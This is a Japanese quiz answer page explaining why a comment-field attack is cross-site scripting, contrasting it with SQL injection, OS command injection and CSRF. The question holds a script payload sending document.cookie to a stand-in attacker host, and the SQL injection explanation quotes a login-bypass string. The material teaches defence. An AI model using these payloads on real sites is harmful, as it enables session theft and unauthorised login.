スポンサーリンク

問題の解答・解説ページ

このページは解説の閲覧モードです。
実力試しをしたい方は、下のボタンからクイズに挑戦してください!

この問題をクイズ形式で解く
問題 No.5883
Webアプリケーションの開発において、ユーザーが入力したコメントをそのままHTML出力する掲示板機能に脆弱性が存在することが判明した。悪意のある第三者がコメント欄に「<script>document.location='http://attacker.example.com/steal?cookie='+document.cookie;</script>」というスクリプトを入力し、それを閲覧した他のユーザーのブラウザ上で当該スクリプトが実行された場合、この脆弱性を利用した攻撃に該当するものはどれか。

【正解の解説】

クロスサイトスクリプティング

これは他人の家に勝手に侵入して、住人が使う予定のホワイトボードに「財布を置いていけ」と書き換えておくような巧妙な悪戯です。掲示板のコメント欄に怪しいタグを仕込み、それを見た他のユーザーのパソコンでこっそりCookieなどの秘密情報を盗み出す手口は、まさにこの脆弱性を突いた典型的な攻撃パターンとして頻出します。

スポンサーリンク

【その他の選択肢の解説】

SQLインジェクション

問題文にあるスクリプトタグではなく、データベースを操作するためのSQL文を不正にねじ込む点が決定的な違いです。例えばログイン画面の入力欄に「' OR '1'='1」などと打ち込んで認証を無理やり突破するような手口であり、ブラウザ上でスクリプトを動かすクロスサイトスクリプティングとは攻撃の標的と目的が全く異なります。

OSコマンドインジェクション

掲示板の閲覧者ではなく、背後で動いているサーバーのOSそのものを攻撃の標的にしている点が大きな違いです。入力値のチェックが甘いシステムに対して、OSを直接操作するような特殊な文字列を送り込むことで、ファイルの書き換えやシステム破壊を引き起こすため、ブラウザ側で動作する今回の脆弱性とは領域が異なります。

クロスサイトリクエストフォージェリ

問題文のようにスクリプトを直接埋め込んで情報を盗み出すのではなく、すでにログイン状態にあるユーザーの権限を悪用し、掲示板への書き込みや商品の購入などを勝手に実行させる点が決定的な違いです。他人のセッションを悪用して裏で自動的にボタンを押させるような仕組みであり、仕組みや目的がクロスサイトスクリプティングとは異なります。